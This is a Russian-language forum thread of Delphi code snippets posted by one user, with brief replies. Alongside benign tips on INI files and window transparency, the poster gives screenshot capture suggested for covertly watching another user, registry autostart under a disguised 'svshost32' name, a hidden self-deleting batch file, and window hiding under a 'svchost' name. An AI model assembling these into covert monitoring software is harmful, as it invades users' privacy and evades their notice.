Delphi - парачка кадофф |
Здравствуйте, гость ( Вход | Регистрация )
Delphi - парачка кадофф |
Mar 18 2007, 23:58
Сообщение
#1
|
|
Advanced Member Группа: Members Сообщений: 168 Регистрация: 13.9.2006 Пользователь №: 26251 |
Этот код делает скриншот вашего экрана и сохраняет его в файл:
В uses добавляем JPEG Код: var bmp: TBitmap; DC: HDC; Jpg: TJpegImage; Begin Try bmp:= TBitmap.Create; Jpg:= TJpegImage.Create; bmp.Height:=Screen.Height; bmp.Width:=Screen.Width; DC:=GetDC(0); bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC, 0, 0, SRCCOPY); Jpg.Assign(Bmp); Jpg.SaveToFile('c:test.jpg'); ReleaseDC(0, DC); finally Bmp.Free; jpg.Free; End; End; С его помощью можете потрудиться сделать например программу отслежки за вторым пользователем (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) Если кому нада - этот код так же делает скриншот только он не в файл его сохраняет а в буфер обмена - одно и тоже что нажать принт скрин только програмно (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) Код: procedure CopyScreenToClipboard; var dx,dy : integer; hSourcDC,hDestDC, hBM, hbmOld : THandle; begin dx := screen.width; dy := screen.height; hSourcDC := CreateDC('DISPLAY',nil,nil,nil); hDestDC := CreateCompatibleDC(hSourcDC); hBM := CreateCompatibleBitmap(hSourcDC, dx, dy); hbmold:= SelectObject(hDestDC, hBM); BitBlt(hDestDC, 0, 0, dx, dy, hSourcDC, 0, 0, SRCCopy); OpenClipBoard(form1.handle); EmptyClipBoard; SetClipBoardData(CF_Bitmap, hBM); CloseClipBoard; SelectObject(hDestDC,hbmold); DeleteObject(hbm); DeleteDC(hDestDC); DeleteDC(hSourcDC); end; ---- Так же кому нада для разнообразия. Следующий код открывает дверцу CD-ROM'a в uses добавляем Mmsystem Код: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); А этот код закрывает лоток: так же в uses MMSystem (если нету) : mciSendString('Set cdaudio Door closed Wait', nil, 0, handle); А этот код добавляет вашу программу в автозапуск, притом в автозагрузке ее не будет - в реестре добавляет: var Registry:TREgistry; begin Registry:=TRegistry.Create; Registry.RootKey:=hkey_local_machine; Registry.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun', true); Registry.WriteString('svshost32', fname); Registry.CloseKey; Registry.Free; end; ну вобщем это так почуть чуть если ктот чтото надумает написать. Если будут интересные пополнения выложу (IMG:http://forum.iseekyou.im/style_emoticons/default/wink.gif) |
|
|
Mar 19 2007, 23:32
Сообщение
#2
|
|
Advanced Member Группа: Members Сообщений: 168 Регистрация: 13.9.2006 Пользователь №: 26251 |
Очевидно что под Win32 удаление работающего кода невозможно. На время выполнения он просто добавляется к swap файлу - т.е. винды при нехватки памяти данные программы (массив переменных) сбрасывают в Swap (Page) файл, а сам код программы просто уничтожается из памяти, при возобновлении процесса, недостающие куски кода опять считываются из исходного файла. Понятно, что изменение файла пока его код выполняется будет иметь катастрофичные последствия, поэтому винды при запуске программы считают DLL или EXE файл по сути куском файла подкачки и запрещают любые манипуляции над ним. Кстати именно по этой причине все инсталляторы начинают свою работу с операции "Preparing to install", которая делает очень простую вещь - сам инсталлятор копируется во временную папку и перезапускает себя уже с винта, чтоб предотвратить крах системы при смене дискетты или CD. По этой же причине программы упакованные любыми EXE упаковщиками требуют больше памяти для запуска - так как загружается в память и исходный компрессированный код и декомпрессированный поток... Но несмотря на все сказанное можно удалить файл из "самого себя" при помощи маленькой хитрости: мы создаем и запускаем BAT файл - который и удалит программу, а саму программу закрываем, как только система "отпустит" файл - файл будет удален и затем BAT файл удалит самого себя. Пользователь всего этого не заметит - он увидит, что после завершении работы файла программы уже нет.
uses ShellApi; procedure TForm1.FormDestroy(Sender: TObject); var f: textFile; FileName: string; begin FileName := changefileext(paramstr(0), '.bat'); assignFile(f, FileName); rewrite(f); writeln(f, ':1'); writeln(f, format('Erase "%s"', [paramstr(0)])); writeln(f, format('If exist "%s" Goto 1', [paramstr(0)])); writeln(f, format('Erase "%s"', [FileName])); closefile(f); ShellExecute(Handle, 'Open', PChar(FileName), nil, nil, sw_hide); end; Узнает имя компьютера: Function ReadComputerName:string; var i: DWORD; p: PChar; begin i:=255; GetMem(p, i); GetComputerName(p, i); Result:=String(p); FreeMem(p); end; |
|
|
Mar 20 2007, 23:19
Сообщение
#3
|
|
Advanced Member Группа: Members Сообщений: 168 Регистрация: 13.9.2006 Пользователь №: 26251 |
Этот код делает вашу прогу скрытой.
Видна тока в диспетчере задач но думаю если ей дать имя svchost то тяжело будет угадать: Procedure TFOrm1.HideProgram; begin ShowWindow(Handle,SW_HIDE); ShowWindow(Application.Handle,SW_HIDE); end; Вот єтот код производит обтарное действие верхнего: procedure TForm1.onfocus; begin ShowWindow(Handle,SW_SHOW); ShowWindow(Application.Handle,SW_SHOW); end; |
|
|
Mar 21 2007, 23:24
Сообщение
#4
|
|
Advanced Member Группа: Members Сообщений: 168 Регистрация: 13.9.2006 Пользователь №: 26251 |
Следующий код перезагружает компьютер
begin OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, ph); LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tp.Privileges[0].Luid); tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := 2; AdjustTokenPrivileges(ph, FALSE, tp, SizeOf(prevst), prevst, rl); ExitWindowsEx(EWX_REBOOT , 0); end; Работа с ini файлами ини файлы очь полезная штука. Если вы делаете программу то в большинстве случаев программа должна запоминать какой либо параметр и при запуске обратно его прочитать. Почему иногда лучше использовать INI-файлы, а не реестр? 1. INI-файлы можно просмотреть и отредактировать в обычном блокноте. 2. Если INI-файл хранить в папке с программой, то при переносе папки на другой компьютер настройки сохраняются. 3. Новичку в реестре можно запросто запутаться или (боже упаси), чего-нибудь не то изменить. Поэтому для хранения параметров настройки программы удобно использовать стандартные INI файлы Windows. Работа с INI файлами ведется при помощи объекта TIniFiles модуля IniFiles. Краткое описание методов объекта TIniFiles дано ниже. Constructor Create('d:test.INI'); Создать экземпляр объекта и связать его с файлом. Если такого файла нет, то он создается, но только тогда, когда произведете в него запись информации. WriteBool(const Section, Ident: string; Value: Boolean); Присвоить элементу с именем Ident раздела Section значение типа boolean WriteInteger(const Section, Ident: string; Value: Longint); Присвоить элементу с именем Ident раздела Section значение типа Longint WriteString(const Section, Ident, Value: string); Присвоить элементу с именем Ident раздела Section значение типа String ReadSection (const Section: string; Strings: TStrings); Прочитать имена всех корректно описанных переменных раздела Section (некорректно описанные опускаются) ReadSectionValues(const Section: string; Strings: TStrings); Прочитать имена и значения всех корректно описанных переменных раздела Section. Формат : имя_переменной = значение EraseSection(const Section: string); Удалить раздел Section со всем содержимым ReadBool(const Section, Ident: string; Default: Boolean): Boolean; Прочитать значение переменной типа Boolean раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default. ReadInteger(const Section, Ident: string; Default: Longint): Longint; Прочитать значение переменной типа Longint раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default. ReadString(const Section, Ident, Default: string): string; Прочитать значение переменной типа String раздела Section с именем Ident, и если его нет, то вместо него подставить значение Default. Free; Закрыть и освободить ресурс. Необходимо вызвать при завершении работы с INI файлом Property Values[const Name: string]: string; Доступ к существующему параметру по имени Name Пример Procedure TForm1.FormClose(Sender: TObject); var IniFile:TIniFile; begin IniFile := TIniFile.Create('d:test.INI'); { Создали экземпляр объекта } IniFile.WriteBool('Options', 'Sound', True); { Секция Options: Sound:=true } IniFile.WriteInteger('Options', 'Level', 3); { Секция Options: Level:=3 } IniFile.WriteString('Options' , 'Secret password', Pass); { Секция Options: в Secret password записать значение переменной Pass } IniFile.ReadSection('Options ', memo1.lines); { Читаем имена переменных} IniFile.ReadSectionValues('Options ', memo2.lines); { Читаем имена и значения } IniFile.Free; { Закрыли файл, уничтожили объект и освободили память } end; Источник: http://dmitry9.nm.ru/info/ Если будут вопросі спрашиваем (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) |
|
|
Mar 22 2007, 21:14
Сообщение
#5
|
|
Advanced Member Группа: Members Сообщений: 168 Регистрация: 13.9.2006 Пользователь №: 26251 |
Следующий код узнает что пользователь нажал Print Screen = делает скриншот вашей программы (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif)
procedure TForm1.FormCreate(Sender: TObject); begin Application.OnIdle := AppIdle; end; procedure TForm1.AppIdle(Sender: TObject; var Done: Boolean); begin if GetAsyncKeyState(VK_SNAPSHOT) <> 0 then Form1.Caption := 'PrintScreen нажата !'; Done := True; end; После нажатия кнопки Принт Скрин ваша форма будет назщываццо :PrintScreen нажата ! ___________________________________________________ |
|
|
Mar 24 2007, 00:14
Сообщение
#6
|
|
Advanced Member Группа: Members Сообщений: 168 Регистрация: 13.9.2006 Пользователь №: 26251 |
Итак, этот код очь интересен. Он делает вашу форму прозрачной. Вы можете ввести в свою программу прозрачность.
Итак,,, как сделать прозрачность: В Private добавляем: I: Integer; LayeredWndAttr: TSetLayeredWindowAttributes; Далее пишем Const LWA_ALPHA = $00000002; WS_EX_LAYERED = $00080000; Уже в обработке события где вам нужно упрозрачнить форму, ну например в onClick бутона: I := 50; // НА сколько прозрачно от 1 до 100 @LayeredWndAttr := GetProcAddress(GetModuleHandle('user32.dll'),'SetLayeredWindowAttributes'); SetWindowLong(Handle, GWL_EXSTYLE, WS_EX_LAYERED); LayeredWndAttr(Handle, RGB(0, 0, 0), Round(I * 255 div 100), LWA_ALPHA); |
|
|
Jul 6 2009, 21:17
Сообщение
#7
|
|
Junior Member Группа: Members Сообщений: 3 Регистрация: 6.6.2009 Из: Rossiya Пользователь №: 30195 |
Спасибо А что можете сказать про связь Delphi7 и Access и Excel?
|
|
|
Jan 6 2010, 03:36
Сообщение
#8
|
|
Junior Member Группа: Members Сообщений: 14 Регистрация: 3.10.2009 Из: Germany Пользователь №: 30495 |
Из приложения написанного на Delphi dll-ка вызывается нормально. А терминал падает. Пробовал передавать просто параметр не массив - работает нормально.
Подскажите пожалуйста, в чём ошибка? |
|
|
Текстовая версия | Сейчас: 1st January 2025 - 17:45 |